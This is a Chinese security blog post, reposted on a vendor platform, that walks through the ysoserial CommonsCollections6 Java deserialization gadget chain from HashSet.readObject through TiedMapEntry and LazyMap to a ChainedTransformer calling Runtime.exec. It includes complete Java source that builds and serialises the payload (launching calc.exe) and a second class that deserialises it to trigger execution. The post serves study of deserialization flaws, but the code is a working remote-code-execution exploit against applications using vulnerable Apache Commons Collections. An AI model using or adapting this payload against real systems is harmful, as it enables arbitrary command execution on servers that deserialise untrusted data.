长亭百川云 - 文章详情

java反序列化-ysoserial-调试分析总结篇(6) - tr1ple

博客园 - tr1ple

42

2024-07-20

前言:

这篇记录CommonsCollections6的调试,外层也是新的类,换成了hashset,即从hashset触发其readObject(),yso给的调用链如下图所示

利用链分析:

首先在hashset内部首先获取器容量与负载因子等操作,然后创建hashmap,将ObjectinputStream中的对象放到hashmap中,即调用hashmap.put函数,可以看到此时实际上放进去的是一个TiedMapEntry,TiedMapEntry是cc5加入进去的一个Map类,其getvalue函数能够获取指定map的key,所以跟进

hashMap在放入元素时将会对当前的key计算一个hash值,即这里调用hashCode()函数,所以即调用TiedMapEntry的hashCode()函数,在hashCode函数中将调用该类的getvalue函数,

所以从此刻开始就和CommonsCollections5的后续利用链相同了,因为CC5是在该类的toString中调用getvalue

接着就跳到this.map.get(this.key),此时this.map即为lazymap.get

 

在lazymap.get中将调用this.factory.transform,而我们知道this.factory是可控的,这里依然为chaindTransform

 

接下来到了chainedTransformer的transform了,接下来的过程不再赘述,即为contantTransform+invokeTranform结合反射调用方法来进行rce

 

 yso构造分析:

这里还是老套路,先构造内部transform转换链,然后构造lazymap,将chained链放进去,接着将lazymap放到TiedMapEntry中

接下来构造hashset实例

 

接着拿到该hashset的map属性,该属性就是个hashmap

接着拿到haspmap中的table属性,在table中存储节点对象,然后通过反射拿到节点数组,

 

 

接着令节点存储Tiedmapentry放进该node节点的key

这里下断点跟一下往haspset中放数据的过程也就是haspmap的存储过程,比如这里exp中存第一个元素,就是新建一个node节点,即当前的key为"tr1ple"

手动构造exp:

 exp.java

package CommonsCollections6;

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;
import java.lang.reflect.Method;
import java.lang.Class;

import java.io.\*;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.HashSet;
import java.util.Map;

public class exp {
    public static void main(String\[\] args) throws NoSuchFieldException, IllegalAccessException, ClassNotFoundException, IOException {
        //构造内部转换链
        Transformer\[\] trans = new Transformer\[\]{
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod",
                        new Class\[\]{String.class,Class\[\].class},
                        new Object\[\]{"getRuntime",new Class\[0\]}),
                new InvokerTransformer("invoke",
                        new Class\[\]{Object.class,Object\[\].class},
                        new Object\[\]{null,null}),
                new InvokerTransformer("exec",
                        new Class\[\]{String.class},new Object\[\]{"calc.exe"}
                        )
        };
        ChainedTransformer chain \= new ChainedTransformer(trans);
        HashMap innerMap \= new HashMap();
        Map lazyMap \= LazyMap.decorate(innerMap, chain);
        TiedMapEntry entry \= new TiedMapEntry(lazyMap, "tr1ple");


        //构造外部入口链
        HashSet newSet = new HashSet(1);
        newSet.add("tr1ple");
        Field innerSetMap  \= HashSet.class.getDeclaredField("map");
        innerSetMap.setAccessible(true);
        //修改hashset内部的hashmap存储
        HashMap setMap = (HashMap)innerSetMap.get(newSet);
        Field table \= HashMap.class.getDeclaredField("table");
        table.setAccessible(true);
        //拿到存储的数据
        Object\[\] obj =(Object\[\])table.get(setMap);
        Object node  \= obj\[0\];

        System.out.println(node.getClass().getName());
        Method\[\] methods  \= node.getClass().getMethods();
        /\*
        for(int i=0;i<methods.length;i++){
            System.out.println(methods\[i\].getName());
        }
        \*/
        //拿到此时存到hashset中的node节点,key为要修改的点,这里需要修改它为真正的payload,即Tiedmapentry
        System.out.println(node.toString());
        
        Field key \= node.getClass().getDeclaredField("key");
        key.setAccessible(true);
        key.set(node,entry);
        //hashset的hashmap中的node节点修改完值以后放进hashset
        Field finalMap = newSet.getClass().getDeclaredField("map");
        finalMap.setAccessible(true);
        finalMap.set(newSet,setMap);

        //序列化
        File file;
        file \= new File(System.getProperty("user.dir")+"/javasec-ysoserial/src/main/resources/commonscollections6.ser");
        ObjectOutputStream objOut \= new ObjectOutputStream(new FileOutputStream(file));
        objOut.writeObject(newSet);

    }
}

readObj.java

package CommonsCollections6;

import java.io.\*;
import java.lang.Runtime;

public class readObj {
    public static void main(String\[\] args) throws IOException, ClassNotFoundException {
        File file;
        file \= new File(System.getProperty("user.dir")+"/javasec-ysoserial/src/main/resources/commonscollections6.ser");
        ObjectInputStream obj \= new ObjectInputStream(new FileInputStream(file));
        obj.readObject();

    }
}
相关推荐
关注或联系我们
添加百川云公众号,移动管理云安全产品
咨询热线:
4000-327-707
百川公众号
百川公众号
百川云客服
百川云客服

Copyright ©2024 北京长亭科技有限公司
icon
京ICP备 2024055124号-2